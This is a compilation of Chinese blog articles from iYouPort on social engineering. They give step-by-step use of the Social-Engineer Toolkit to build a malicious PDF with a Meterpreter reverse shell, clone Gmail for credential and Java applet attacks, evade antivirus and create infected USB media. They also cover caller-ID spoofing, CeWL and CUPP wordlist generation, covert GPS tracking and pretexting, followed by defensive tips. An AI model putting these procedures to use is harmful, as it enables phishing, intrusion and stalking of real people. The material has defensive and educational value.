- 创建一个社交工程模版

第一个选项用于执行邮件攻击，第二个用于创建一个恶意的 PDF 或其他文件，以备作为邮件附件发送，第三个选项是创建模版，以备日后使用。

接下来选择一个攻击向量，比如选择 6，这种攻击对许多版本的 Adobe Acrobat Reader 软件都有效 — — 应用了 Adobe util.printf() Buffer Overflow 漏洞（已补）。

接下来几个选项会设置攻击的技术问题。点击选项 2 — — Windows Meterpreter Reverse_TCP。使用 Metasploit 接收反向会话、或者受害

者电脑的 IP 和端口，以避免入侵检测系统（IDS）或其他系统的报警。

选择 443 端口，使数据流看起来好像是加密的 SSL 数据。SET 会创建恶意 PDF 文件并设置监听功能。

执行上述步骤后，SET 会询问是否要更改 PDF 的文件名，例如改成类似 TechnicalSupport.pdf 等更加隐蔽的名称，然后输入邮件信息以备收发。最后，SET 发出一封看起来很专业的电子邮件，引诱用户打开附件中的 PDF 文件。

邮件发送之后，SET 会创建一个网络监听器等待目标打开文件。一旦目标点击了 PDF，监听器就会执行恶意代码，让攻击者得以进入受害者的计算机中。

这是一个破坏性很强的攻击，因为它利用了客户端软件的漏洞，而且在大多数情况下，屏幕上不会显示有情况正在发生。让目标人完全无感。

这只是应用 SET 可以发动的众多攻击中的一种。

延伸阅读：关于如何防备《//系统被攻击、用 Tor 被钓鱼、好奇害死猫，怎么办？- 把危险隔离出去//》

2、Web 攻击

SET 也允许审计人员克隆任何网站并在本地运行。这种攻击类型的强大之处在于可以让攻击者以多种方式诱骗他人访问克隆网站并从中获利。攻击者既可以伪装成更新网站的开发者，也可以仅仅对网址进行细微的修改（填加或删除一个字母），最终诱使他人访问克隆的网站。

一旦有人访问了克隆网站，便可以发动多种不同的攻击，包括信息收集、证书收集和直接入侵等。

要在 SET 中运行此攻击可从主菜单中选择选项 2（网站攻击），选择之后，可以看到以下几个选项：

- Java Applet 攻击方法
- Metasploit 浏览器的入侵模式
- 证书获取的攻击方式
- 标签绑架攻击方法

- 中间人攻击方式
- 返回前面的菜单

选项1中的 Java Applet 攻击是一种特别邪恶的攻击。一般情况下，Java Applet 攻击会在用户界面上弹出一个 Java 安全警告，说该网站已被某大牌公司签名，并让用户同意这一警告。

进行这种攻击，先选择选项 1，然后选择选项 2 — — 网站克隆（Site Cloner）。

选择网站克隆的时候，需要输入你想克隆的网站地址。这里可以选择想克隆的任何网站 — — 客户的官方网站、客户供应商网站或者政府网站。正如你所想象的，重点在于选择一个对目标有意义的网站，就是目标最可能不走脑子就直接点击的网站，判断这点就要基于前面强调的数据收集和分析。

在这个练习中，假设是克隆 **Gmail** 网站。屏幕上会显示如下信息：

「图」

上述工作完成之后，SET 会询问你想要在自己与受害者之间创造什么类型的连接。要想使用本文讨论的技术，选择 Metasploit 的反向会话界面，也就是 Meterpreter。

SET 为负载加密提供了多种选项，这是为了避开反病毒系统的检测。

下一步，SET 启动内嵌的网站服务器为克隆网站提供服务，同时启动监听器准备捕获浏览该网站的受害者。

现在只需要攻击者构造一封电子邮件或给目标打个电话，让目标访问该假冒的网站。最终结果是，一个 Java Applet 出现在用户面前，告诉他该网站已被微软签名，他需要允许安全证书运行，才能继续访问网站。

只要用户允许了该安全证书，攻击者就可以立刻入侵他的计算机了。

「图」

」 SET 的其他特性

SET 是具有实战思维的社交工程人员开发出来的，所以工具集所提供的都是审计过程中常常会用到的攻击方法。

SET 在不断更新和发展，又增加了一些其他的攻击方式，还增加了一个传染性媒体生成器。传染性媒体生成器允许用户创建带恶意文件的 **DVD**、**CD** 或 **USB**，这些传染源可以混杂在目标对象的办公大楼里。当它们被插入计算机时，将触发恶意负载程序的执行，从而开启受害人机器的入侵之门。

SET 也能创建简单的负载和相应的监听器。如果社交工程测试人员想要通过一个提供反向会话功能的 EXE 可执行程序连接回他的服务器，可以在审计过程中携带一个 U 盘。如果面前的机器是他想要远程访问的，便可将 U 盘插入，导入负载文件，然后点击运行。这样可以在目标机器和他自己的机器之间建立起一个快速连接。

有一种较新的攻击方式叫 **Teensy HID** 攻击。Teensy 设备是一个小的可编程电路板，可嵌入键盘、鼠标或其他可连接电脑的设备。

SET 可对 Teensy 编程，设置这个小电路板在插入电脑时将执行何种命令。常见的命令包括创建反向会话或监听端口等。

SET 的其他特性还包括它提供了一个 Web 界面。这意味着 SET 会自动启动 Web 服务器程序，从而更易于应用。

「图」

基于电话的攻击工具

人人都有手机的时代，这样的工具会非常“高效”。智能手机的普及意味着越来越多的人在手机上储存密码、个人数据和私人材料。这可以更方便社交工程人员通过不同场合接触目标以获取更多数据。

假设一下，如果我已经了解到你是一位刚入职不久的新员工，什么样的电话最容易让你立即接听？当然是从“公司总部”打来的电话，而且你会毫不犹豫地提供信息。

苹果和安卓手机都有可利用的应用程序可以将来电显示号码篡改成任何号码。利用这类应用程序，社交工程人员能够以较低的成本将自己的拨号伪装成任意号码。

篡改来电显示

主要是篡改目标的来电显示信息，也就是说，让对方屏幕上出现另一个号码。使用这种方法的基础是需要首先得知目标人最可能立即接听、且毫无疑问准确回答你需要的问题的号码。还记得我们在*伪装*

系列中介绍的人性懦弱吗？在这里就派上用场了，只要你能伪装成比目标人的等级更高的威权人士，就能操纵对方做你需要的事。

」SpoofCard

这是一种很流行的篡改来电显示的方法。使用这张卡可以冒充随卡提供的800个号码，输入 PIN码和希望显示的号码，然后输入想拨打的电话号码就可以了（在这里看到视频介绍）。

SpoofCard 还有其他有趣特性，比如对通话内容进行录音、伪装成男声或女生等。这些特征大大提高了拨号者的伪装能力，可以借此欺骗对方提供有用信息。

」SpoofApp

苹果、安卓和黑莓智能手机上都有大量可以伪造来电显示的应用程序。SpoofApp 是将 SpoofCard 技术实现在软件包里了。

不用真的拨打指定的号码，只需在应用程序中输入想要拨打的号码，然后输入想要显示出来的号码，SpoofApp 就会和目标建立连接，而目标电话上显示的就是你刚才输入的伪装号码。操作非常简单。

以上两个工具不建议做高度敏感的攻击操作，因为数据在第三方手里。没关系，还有另外一个可以避免这一问题。

」Asterisk

如果你有一台多余的计算机和一个 VoIP 服务，就可以使用 Asterisk 服务器来篡改来电显示。Asterisk 服务器的运行机制和 SpoofCard 非常相似，只是篡改来电显示的服务器不一样。在这种情况下你使用的是自己的服务器。这点很有吸引力，因为它提供了很多自由，不必担心线路中断或时间耗尽。

在这里看到详细介绍：https://www.social-engineer.org/wiki/archives/CallerIDspoofing/CallerID-SpoofingWithAsterisk.html

Asterisk 的优点在于免费、安装好后使用简单、并且具有很大的灵活性，你完全可以自己控制它 —— 个人信息和账号数据就在你手里，而不是在任何第三方手里。缺点在于不仅需要额外的计算机或虚拟机，还需要您熟练使用 Linux，此外还需要一个 VoIP 服务提供商。如果你的计划很强大，这些东西完全值得搞定！

密码分析工具

密码（口令）分析工具能够帮你分析目标及其可能使用的口令。在目标信息收集完成后下一步就是要分析其可能使用的口令和可攻击他的方式。社交工程人员可以构建一个潜在的口令列表用于暴力破解。从工具角度上看，构建可能的口令列表可以加速攻击。

这一小节介绍几个密码分析工具。

在网上公开个人资料的人数是非常惊人的，公开的信息各种各样，关于自己、家庭以及生活琐事、随时随地的内心所想等等。基于人们在社交媒体上泄露的消息，以及在网络上可以找到的其他信息，凭借下面将要讨论的工具，社交工程人员可以勾勒出某些人的全部生活。

1、通用用户密码分析工具

通用用户密码分析工具（Common User Password Profiler — CUPP）可以使密码分析工作更加简单。Murgis Kurgan 或称为 j0rgan 开发了这个神奇的小工具。它是包含在 BackTrack 渗透测试工具中的一个脚本，也可以通过 www.social-engineer.org/cupps.tar.gz 下载。

密码强度就是猜测、使用加密技术或自动化测试库破解密码的难度。弱口令可能非常短或只使用数字和字母字符，这样就很容易破解。弱口令也很容易被那些对用户进行分析的人直接猜到，比如生日、昵称、住址、宠物或亲属的名字，或者 God, Love,money, password 等常用单词。CUPP 之所以能是一个完美攻击工具不过是因为太多人一直在使用弱口令，即便这么多年来所有安全专家都在强调密码强度的重要性、密码管理器的重要性（摊手）。

以下是源自 BackTrack4 中使用 CUPP 会话的内容：

「图」

请注意，根据所提供的资料最后创建了包含 13672 个密码的字典文件。此类工具的作用在于减少了社交工程人员猜测密码的工作量。

2、**CeWL**

其开发者的描述是，CeWL 是一个 Ruby 应用程序，它可以通过给定的 URL 进行指定深度的搜索，并可扩展到外部链接，最终生成一个可用于密码破解的字典文件，John the Ripper 等密码破解工具可以

使用这个字典进行密码破解。有关 CeWL 的更多资料可以在这里找到：www.digininja.org/projects/cewl.php

下面看一下在 BackTrack4 中使用的情况。

root@bt:/pentest/passwords/cewl# ruby cewl.rb

— help cewl 3.0 Robin Wood (dninja@gmail.com)

(www.digininja.org)

Usage: cewl [OPTION] … URL — help, -h: show help — depth x, -d x: depth to spider to,

default 2 — min_word_length, -m: minimum word length, default 3 — offsite, -o: let the

spider visit other sites — write, -w file: write the output to the file — ua, -u user-

agent: useragent to send — no-words, -n: don't output the wordlist — meta, -a file:

include meta data, optional output file — email, -e file: include email addresses,

optional output file — meta-temp-dir directory: the temporary directory,default /tmp -v:

verbose URL: The site to spider.

root@bt:/pentest/passwords/cewl# ./cewl.rb -d 1 -w pass.txt http://www.targetcompany.com/about.php

root@bt:/pentest/passwords/cewl# cat passwords.txt |wc -l 430

root@bt:/pentest/passwords/cewl# < < <

这是针对某个目标公司网站使用 CeWL 的案例，从其网站的一个网页中产生了430个可能的密码。

CUPP 和 CeWL 只是用来帮助分析和生成潜在密码的诸多工具中的两个。你可以运用这些工具做一个有趣的实验，输入自己的信息，看看你的密码是否能够被生成。能够帮你清楚地认识到密码安全的重要性。

总结

正所谓“好马配好鞍，良将配宝刀”，技术工具是社交工程的重要方面，掌握工具的功能并且能熟练使用它们就是决胜的关键。

工具不仅包括软件，也有硬件工具，比如可以用来很好的跟踪他人的硬件工具：**SpyHawk**，就是一个超级 GPS 跟踪器，功能强大，轻便易于隐藏，安装附带的软件也很简单。该设备有强磁性，可以吸附在金属表面上。该硬件附带的软件可以在谷歌地图上清晰显示目标的动态，随日期时间显示，非常直观。跟踪器数据采集对社交工程攻击来说大有裨益。了解到目标的位置及停留的地方，攻击者就可以确定在何处复制 RFID 证件或者取得钥匙模印。

我们的唯一要求是，您的目的必需是正义的！您需要有足够的道德感，绝不能使用这些工具迫害善良的好人。不论您是调查记者、开源情报分析师还是捍卫公民权的组织和个人，这些工具都能发挥极大的良性作用。

反抗绝不是简单的异议，反抗需要充分的知识技能、高超的心智和实战经验。我们相信中国的读者非常聪明，足够领略到这些意义。

短短一篇文章不可能将所有社交工程工具包含进去，以上属于仅举几例，但已经足够使用。充满智慧的您还可以自己开发出各种各样顺手的工具，就像我们曾经在 #OSINT 演示中呈现的那样。要想成功，光靠武器还不够，您必需更多的练习、练习、再练习，直到身体和“武器”浑然一体。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/

iyouport//"

原文

信息收集：决胜的根基 — — 技术和技巧依旧是关键（上） - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

“战争的胜利百分之九十取决于情报“ — — Napoléon Bonaparte

「图」

英国人常说，没有什么信息是不相关的。这句话很有道理。即使是最微小的信息也可能促成社交工程人员的成功入侵 — — 蛛丝马迹钓大鱼。

渗透测试领域的大师 Mati Aharoni 有一个亲身经历。他的任务是入侵一家在网上查不到什么信息的公司，于是依赖互联网直接的开源情报就不行了。

通过大面积搜索他发现这家公司的一位高管的电子邮件地址出现在了一个集邮论坛上，通过浏览总结出，这位高管对20世纪50年代的邮票表现出了浓厚的兴趣。于是 Mati 迅速建立了一个域名，然后从谷歌上找来一堆20世纪50年代的邮票图片。他很快创建了一个“个人网站”展示他的“集邮册”，然后编写了一封电子邮件发给那位高管。

是这样的：

> 亲爱的**先生：我是 //www.forum.com// 的网友，发现您对*20*世纪*50*年代的邮票很感兴趣。最近我的祖父去世了，给我留下了一个集邮册，我想出售这本集邮册，于是建立了一个网站，如果您想看看的话，请访问：//www.stampcollection.com//

在发送这封邮件之前，他想要确保产生最大的影响。于是他在论坛上找到了该官员办公室的电话号码，给他打了个电话，说的就是邮件中同样的内容。

目标很急切地等着看到那些邮票，于是稍晚些时候邮件到来时很快就

被点击打开了。Mati 将一个恶意帧嵌入到网站页面中，帧中的代码会利用当时很“流行”的IE浏览器已知漏洞，使攻击者立刻能控制目标人的计算机。公司系统的边界防御就这样被打开了。

仅仅是一条微小的信息 — — 受害人在寻找邮票时留下的公司邮箱地址 — — 就导致了这次入侵的发生。所以说，没什么信息是完全不想干的。那么，

- 怎样收集信息？
- 社交工程人员收集信息可以利用的资源有哪些？
- 如何利用收集到的信息进一步描述目标？
- 如何对这些信息进行定位、储存及分类，才能够使之更易于使用？

这些只是需要解决的问题的一小部分。在信息多如牛毛的社交网络上，人们可以轻而易举地与其所选择对象分享自己生活的方方面面，这便使潜在的破坏性信息比任何时候都要多。

收集信息

收集信息就像盖房子，如果从屋顶盖起是不可能成功的。一栋坚实的房子需要先打下坚实的地基。收集信息时不用总想着怎么组织和运用这些数据，创建一个文件或信息收集服务才是当务之急。

有很多现成的工具可以帮助收集和运动这些数据，比如 BackTrack 就是专门为这一目的设计的。和大多数 Linux发行版一样它是免费、开源的，最大的优点是集成了300多款安全审计工具。**BackTrack** 还支持 **Live CD** 和 **Live USB** 启动方式，用户可以直接从移动介质启动该系统而不用将系统安装在硬盘上。

BackTrack 工具软件分成12大类:

- Information Gathering（信息收集）
- Vulnerability Assessment（漏洞评定工具）
- Exploitation Tools（攻击工具）
- Privilege Escalation（用户提权）
- Maintaining Access（维护登录）
- Reverse Engineering（逆向工程）
- RFID Tools（RFID工具）
- Stress testing（压力测试）
- Forensics（取证）

- Reporting Tools（报告工具）
- Services（服务）
- Miscellaneous（杂项）

BackTrack 提供的工具质量非常高，其中许多都能与同类商业软件媲美，甚至高过后者。最为特别的两个适用于信息收集和储存的工具是：Dradis 和 BasKet，接下来分头说说。

」使用 **BasKet**

BasKet 从功能上看有点像记事本，但比记事本强大太多了。可以从 http://basket.kde.org/ 上免费下载，网站上有详细介绍，安装很容易，界面也不复杂，很容易上手。屏幕左侧鼠标右键选择“New BasKet“ 会添加一个新的”BasKet“，用以保存数据：

「图」

新建好后可以往里面复制/粘贴数据，添加屏幕截图，甚至可以添加 OpenOffice 办公软件或其他类型的图表数据。

BasKet 组织和展示数据的方式是它的优势之一。你可以为不同类型的数据建立不同的 BasKet，例如域名查询数据、社交媒体信息等，然后使用 Google Maps 或者 Google Earth 获取目标的建筑和设施图片，保存到 BasKet 中。信息收集完成后快速提取和使用这些信息也很简单，比如下面这样，一个接近完工的 BasKet，其中有许多有用的信息和标签。

「图」

尽可能往里面放信息，因为即便蛛丝马迹也很可能是非常有用的。收集的方向包括目标的网站内容、域名查询信息、社交网络、照片、各种形式的联系方式、简历、论坛、爱好等等一切与目标有关的信息。

收集完成后点击 BasKet 菜单，选 Export，将整个 BasKet 导出为 HTML 网页文件。对生成报告和共享合作非常有用。

」使用 **Dradis**

尽管 BasKet 是一个非常好的工具，但如果你要收集的信息很多，或者需要一组人共同完成信息收集、储存和调用操作，那么就需要一款能够供多用户共享数据的工具，就是：Dradis。

根据 Dradis 开发者的描述，Dradis 是可以提供信息中央储存的独立 Web 应用，可以统一管理需要收集的信息。也是免费开源的，可以在这里找到：http://dradisframework.org/ 。Dradis 可以安装于 Linux、Windows 和 Mac 等不同系统上，网页上有详细的安装配置说明。

安装并设置好后就可以浏览你分配的本地主机和端口，或者使用标准的 3004.只要打开浏览器在地址栏中输入 https://localhost:3004/ 即可登陆使用。

注意左上角的添加分支“Add Branch”按钮，点击后就可以像使用 BasKet 那样添加信息了，如备注、图片等等，甚至可以直接导入笔记数据。

上述只是用来收集信息的两款小工具。不论操作系统是什么 Mac, Windows, or Linux，你都能找到相对应的工具，重要的是要用起来顺手，能处理大规模数据。Mac 和 Windows 自带的记事本和文本编辑器是无法满足需求的。

信息源

信息将产生于各种不同的来源，以下只是一些常用来源的介绍，需要根据您寻求的情报目的，找到最适合挖掘信息的渠道。

」 网站上的收集

公司和个人的网站是信息的重要来源，花点时间是完全值得的，可以帮你清除地了解目标的基本情况：

- 他们做什么？
- 他们提供什么产品和服务？
- 地理位置？
- 招聘信息？
- 联系电话？
- 执行官和董事会成员的简介
- 支持的论坛
- 电子邮件命名规则
- 可能用于密码分析的特殊字符或短语...

个人网站是更有意思的事，上面的内容可能涉及他们生活的方方面面：孩子、房子、工作等等。将这些信息分类储存，因为可以用于日

后的攻击。

同一个企业的员工往往会登陆相同的论坛，有着类似的兴趣，甚至会喜欢相同的社交网站。如果你在 Linkedin 或者 Facebook 中找到一名员工，很可能就能找到他的好几个同事。很多人会在社交网站上使用标签的形式展示自己的职位，可以帮助社交工程人员勾勒出该公司某个部门的规模及其组织架构。

1、搜索引擎

我们介绍过一些简单的谷歌渗透测试方法，在这里找到《高级运算符辅助开源调查》，它也可以用于社交工程攻击的数据收集（这不是全部，将来还会陆续介绍）。这篇文章的目的是希望说明，熟悉搜索语法是非常关键的，可以帮助你更快速精准地找到有用信息。

但要知道，提供如此惊人的数据挖掘的不止谷歌一家。一位叫 John Matherly 的研究人员发明了一个叫做 Shodan 的搜索引擎：其特殊之处不仅在于它能提供针对服务器、路由器和特定软件的搜索功能。

「图」

这个搜索引擎重申了一个道理：网络上有惊人的数据量可供社交工程人员和开源调查分析师查询和分析，以提升信息收集的能力。

2、**Whois** 域名信息查询

Whois 能提供域名数据库查询服务。Whois 数据库中有很多有价值的信息，有些时候甚至包括网站管理员的网站联系方式。

使用 Linux 命令行工具或者登录 www.whois.net 这样的网站，都可以查询到域名的注册信息，包括联系人、电子邮件地址、电话号码、甚至 DNS 服务器的 IP 地址。

域名注册信息可以很好地帮助你了解目标公司，特别是他们的服务器。这些信息都可以用于发动强大的攻击。

3、公共服务器

企业对外的公共服务器往往会提供网站所没有的很多信息，比如服务器的操作系统、安装的应用程序和 IP 地址，这些信息可以大致反映企业的信息服务架构。了解平台和应用程序之后，便可以和域名组合在一起，在公开技术论坛上进一步搜索相关的配置信息。

IP 地址可以说明服务器是在本地还是从提供商处租来的；通过域名解析记录可以看出服务器的名称、功能，以及 IP 地址的分布。

值得一提的是端口扫描（使用诸如 NMAP 或者其他端口扫描工具去定位公共服务器的开放端口、软件版本和操作系统类型等）在有些地区是违法的。当然，如果是收费的安全审计，这些细节在合同中都应该写明白。对社交工程人员来说应该熟知当地法律，尽可能避免出师未捷。

4、社交媒体

这个就不用多说了哈，我们在 #OSINT 信息搜集演示中最多介绍的就是社交媒体挖掘。社交工程攻击也一样，只是目的不同。

Crips 是一个在线 IP 工具的集合器，可以用来快速获取有关 IP 地址、网页和 DNS 记录的信息，支持 windows/linux，在这里看到介绍视频。功能包括：

- Whois lookup *whois* 查询 **Traceroute* 使用 mtr 高级 traceroute 工具跟踪 Internet 连接的路径
- DNS Lookup 使用 *dig DNS* 工具查找域名的 *DNS* 记录 **Reverse DNS Lookup* 查找 IP 地址或 IP 地址范围的反向 DNS 记录。
- GeoIP Lookup 使用 *GeoIP* 工具查找 *IP* 地址的位置 **Port Scan* 简单的 TCP 端口扫描可快速确定面向服务或防火墙的 Internet 的状态。
- Reverse IP Lookup 通过反向 *IP* 查找来发现共享*IP*地址的网络主机 **INSTALL & UPDATE* 安装&&升级

5、个人网站和博客

比如 www.icanstalku.com 这样的网站，别误会它的名字，不是鼓励人们去跟踪别人，它跟踪的是那些毫无防范意识的 Twitter 用户。它可以遍历整个 Twitter，寻找那些蠢到用自己的智能手机拍摄照片并上传的人。依旧有为数不少的人没有意识到智能手机拍摄的照片会暴露 GPS 数据，有目的的攻击者就可以借此追踪你。（这类愚蠢的行为在微信几乎遍地都是）

「图」

像 ICanStalkU 这样的网站强调了信息泄漏的危险。这些信息可以被利用来诱骗、欺诈、勒索、入室盗窃、拦路抢劫。这里有一个真实的

故事《Twitter Connection to Home Robbery》

对社交工程攻击来说，不同类型的信息可以帮助你全面了解目标。人们太喜欢在 Twitter 上分享信息了，正在哪里、和谁在一起、正在做什么……Facebook 这种可以用来分享照片、个人故事和其他相关信息的网站是社交工程攻击的金矿。只需片刻功夫就能找到目标人的住址、照片、工作学习状况、兴趣品味、情绪特点等等一系列有可能致命的信息。

社交网络也非常适合伪装（详见我们此前关于社交工程攻击中伪装的技巧介绍），这个故事中描述了社交工程攻击者利用 Facebook 诱骗目标人的成功案例《人性弱点》。合适的伪装技术非常容易得手，还记得我们在“劝导术”系列文章中介绍过的《想象中的美女》吗？如果你能让目标人“认为”你是一个什么样的人，对方就能表现出你预期的“状态”，从而达到你的目的。

6、其他

其他信息收集来源与开源调查依旧很相似，也有些不同。比如公开的报告，目标的内部或外部的信息，包括季度报告、政府报告、分析报告及交易和收入信息等等，也是开源调查最常用的信息来源。这里的重点不仅仅是搜集，更重要的是分析。目前中国的评论文章 99% 没有有效的情报分析，人们太喜欢口水战了，这是极大的资源浪费。

对社交工程人员来说更需要注重的是观察的能力。虽然观察称不上社交工程攻击工具，但简单的观察就能帮你收集到很多目标的信息。目标人使用钥匙、门禁卡还是其他方式进入重要地点？这附近哪里有指定的吸烟区？垃圾桶有没有上锁？大楼内部哪些位置有摄像头？供电系统和空调机组等外围设备的维修公司是哪家？等等，这些信息都能给社交工程人员带来极大的便利。

这些问题只是几个例子。信息收集工作必需能包括仔细的观察，有必要的话使用隐形摄像机（装在领带上的那种，或者在帽子上）录制下来。回去后慢慢分析，很有可能研究出你在现场时完全没意识到的细节。你的知识量会暴增。

另外，垃圾桶攻击就不介绍了，非常简单，因为太多人不注重垃圾的重要性，一些要命的资料文件副本随便撕几下就扔掉了。条形碎纸机根本没有一点意义，稍微花点时间就能重新拼凑起来（下图第一个）。要想防止垃圾桶攻击，你应该使用双向碎纸机（下图第二个）没人能复原那样的粉碎品。

「图」

「图」

有些单位甚至直接将粗略粉碎后的垃圾交给第三方处理，之后就不管不问了。这就为社交工程人员提供了极大的便利。你可以轻而易举地冒充成回收垃圾的工作人员找到该服务的提供商。

有些时候甚至不需要翻找垃圾也能得到非常致命的信息。很多人认为国防那种专业的单位部门肯定非常重视这些细节吧？那可不一定。加拿大反恐部队就是个典型的例子。他们计划建造一栋办公大楼，然而这栋楼的一些规划蓝图副本被当作垃圾扔掉了，甚至都没有粉碎过。图中清晰地标注着监控摄像头的安装位置、围栏位置、警报器、甚至很多绝密的信息。幸亏发现这张图的人没有恶意，或者后果不堪设想。

下篇文章还会继续介绍工具。总之，我们需要您拥有正义的目标、道德感和良知，做正确的事。技术实力就是您绝佳的武器。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyoupor//"***t***

原文

击败骗局—9个防御技巧 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

我见过的社交工程中一个比较令人难忘的例子是这样，见视频：

在这段视频中，攻击者播放婴儿哭声的录音，同时打电话给手机公司，以便获得一个完全陌生的人的帐户。

因为她假装自己是陌生人的新婚妻子，带着一个哭闹的婴儿，整体伪装为匆忙而混乱，这是为刺激对方的同情心。结果，手机公司不仅允许她访问帐户上的电子邮件，而且还允许她更改该人的密码！

所以现在，那个受害人甚至无法访问自己的帐户。

有了这些信息，攻击者现在可以在线访问受害人的帐户并查看他所有的个人私密信息。

让我们面对现实，我们中大多数人都会在手机上保留一些非常私人的信息。攻击者可以访问目标人的照片、帐户信息、位置等等一切最致命的东西，这无疑是相当危险的。

渗透测试人员就是使用这些方法向易受害的目标个人或群体展示这些攻击的破坏程度。测试人员被这些群体和个人聘用，以测试通过社交工程攻击获取最致命信息的难度。

那么，抵抗那些真实的攻击有多难？社交工程攻击有数千种变化。

以下是一些简要的防止陷入社交工程陷阱的方法：大多数犯罪分子利用人类的善意、使用分心术、以及高超的伪装术，进行渗透。

9 种避免社交工程攻击的方法

1.) 怀疑任何未经请求的消息或服务人员。

如果电子邮件/电话/人 看起来像是来自与您相关的公司，请仔细甄别。

使用搜索引擎转到真实公司的站点或电话目录以查找其电话号码。

如果一个不知名的人声称来自合法组织，请尝试直接与该公司核实他或她的身份。弄到一个假徽章或假身份证非常简单，所以，不要被“看起来”合法的人所欺骗。

如果是电子邮件，请谨慎点击其中的链接和附件—— 这点似乎目前在中国普及的非常好。但是，如果您拒绝点击一切链接和附件，肯定会耽误正常的工作和交流。IYP 已经遇到了多次由于不敢点击链接而失去接受我们的服务的读者，这是很遗憾的。

事实上您完全可以随意点击任何链接，而不必担心被恶意伤害，我们介绍过这一方法，它操作起来很简单，详见《系统被攻击、用 Tor 被钓鱼、好奇害死猫，怎么办？- 把危险隔离出去》

2.) 慢下来。

注意周围环境。诈骗者最希望的就是你先行动而后思考。

如果有人传达紧迫感、或使用高压销售策略，请持怀疑态度；永远不要让他们宣传的紧迫感影响你的仔细审查。

3.) 拒绝帮助或提供帮助的请求。

合法的公司和组织一般不会主动与您联系以提供帮助。如果您没有特别要求发件人提供帮助，请考虑“帮助”的可靠性如何，比如房产再融资、回答问题、检查打印机、寻找白蚁等等，其中有可能隐藏欺诈行为。

同样，如果您收到与您没有关系的慈善机构或组织发送的帮助请求，请将其删除。

4.) 删除或忽略任何关于财务信息或密码的请求。

如果您被要求回复包含个人信息的邮件，那就是骗局。

5.) 不提供信息。

除非您确定某人拥有获知该信息的权限，否则请勿提供有关组织的个人信息，也包括组织结构或网络。即使是看起来非常平凡的信息也不一定那么简单，我们在攻防演示中进行过这类展示。详见上述列表中的文章。

另一个很好的例子就是当你打电话给银行（或其他重要组织）时，他们会问你：“你还住在****吗？不要回答这样的提问。

6.）在检查网站安全性之前，请勿通过互联网发送敏感信息。

注意网站的 URL！恶意网站可能看起来与合法网站相同，但网址可能会使用拼写或其他域名的变体（例如 .com与.net）。

⚠我们曾经介绍过针对异议人士的邪恶攻击，其中就利用了变体 **URL**，详见《⚠ 大型网络钓鱼攻击活动专门针对注重隐私的用户，成功绕过双因素身份验证》

7.）不要过在社交媒体上发送关于个人和组织的任何信息！

在社交媒体上分享过多信息很可能会使攻击者通过您的帖子猜测到密码、或提取个人或公司的机密信息。

如果你说的太多，就会给发送着提供更多的弹药。假设我能找到某人正在休产假的消息，我就可以制作各种其他细节，以使我的社交工程攻击看起来更合法。

所以，搏击俱乐部规定第一条：不要谈论搏击俱乐部！

8.）安装和维护防病毒软件、防火墙和电子邮件过滤器，以减少在线的部分流量。

使用安全产品非常重要！详见我们汇总的安全知识和技术《"安全手册：这里是你需要的几乎所有安全上网工具"》

9.）小心你的信任

人们天生就倾向于信任并乐于助人，人们很愿意相信你告诉他们的一切。这对人们来说很好，会很舒适，但是，当我意识到自己也是同样的方式时，我会感到害怕。我们需要善意待人，但也要努力甄别是否存在恶意。

这些提示适用于商业和个人生活领域。事实是，人们需要接受培训，因为人是任何安全应用中最薄弱的环节。

公司应该至少采用面向每个用户组（最终用户，IT员工，经理等）的双年度培训，以便每个人都能了解最新的攻击形式。毕竟，这些攻击并非针对“技术”员工，而是任何员工—— 包括清洁工，因为垃圾中有

重要的未被处理干净的有用信息，有些可以是致命的。攻击者明白最薄弱的环节是受教育程度最低的人。

员工也应该通过外部聚会（如BHIS的优秀测试人员）进行社交工程攻防测试。这些类型的测试有助于让员工保持警惕，能更好地避免商业和个人生活中的攻击。

IYP 提供的知识详见我们在前面文章中给出的列表。

Most criminals exploit human kindness, use distractions and questions or pretend to be in the service industry. The Easiest Con—Hacking the Human & 9 Tips to Avoid Social Engineering

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮

原文

只有自己学会伪装才能识破伪装者 — — 社交工程学攻防知识（下） - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

附：社交工程知识点列表

「图」

继续前文。

2.5 伪装得越简单效果越好

越简单效果越好，这一点都不夸张。如果伪装有错综复杂的细节，以至于忘记了任何一个细节都会导致失败，那么就真的会失败了。保持故事情节、事实和细节的简单性。就能增强可信性。

人际欺骗领域最有名的心理学家和研究人士 Paul Ekman 博士曾经发表了一篇文章题为《失败的谎言》，其中写道：

很多时候你没有时间去准备，进行练习和记忆。就算事前有充分的预案，也有可能突然冒出一个不能预见的方向。你可能很聪明，但是也很难预见所有可能被问到的问题，于是很难预备所有答案。光有聪明的头脑是不行的。而且，即使不是为情势所迫改变方向，某些撒谎者也会由于记忆问题而想不起前面的描述，结果就不能快速解答新的问题。

这个重要的观点将为什么越简单越好，解释得非常清楚。如果伪装得很复杂，努力去记住所有内容几乎是不可能的，一个很小的错误就能毁掉你的全部。

你必须记住一切事实，并且不要过分追求细枝末节。一个简单的伪装允许故事发展，并且允许目标运用想象去填满那些空隙。切勿试图将伪装做得很精致，但必须牢记伪装中的关键细节。

并且 — — 我们曾经提到过那个方法 — — 专业的罪犯和骗子们会使用一些伎俩，包括故意出错。这个想法是基于“人无完人”而建立的，

一些小错误会让人感觉你更真实。如果运用这个策略，就必须留心你决定去犯的那些错误，虽然这确实能使对话更自然，但是也增加了伪装的复杂性。还是建议少用这一花招，如果有必要使用，要让它尽可能简单。

「图」

2.6 伪装必须显得自然

要想让伪装显得自然，就需要使用如前文中强调的大纲模式，而不是剧本模式。大纲模式下社交工程人员可以自由地发挥，使用太详细的剧本会让你变得很机械。

伪装中可以加入社交工程人员感兴趣的项目或故事。如果每次有人问一个问题或者做出一个论述，你都支支吾吾，需要深入的思考，而不能立即做出明智的回答，你的可信性就会大打折扣。

以下是一些可以让伪装更加自然的方法：

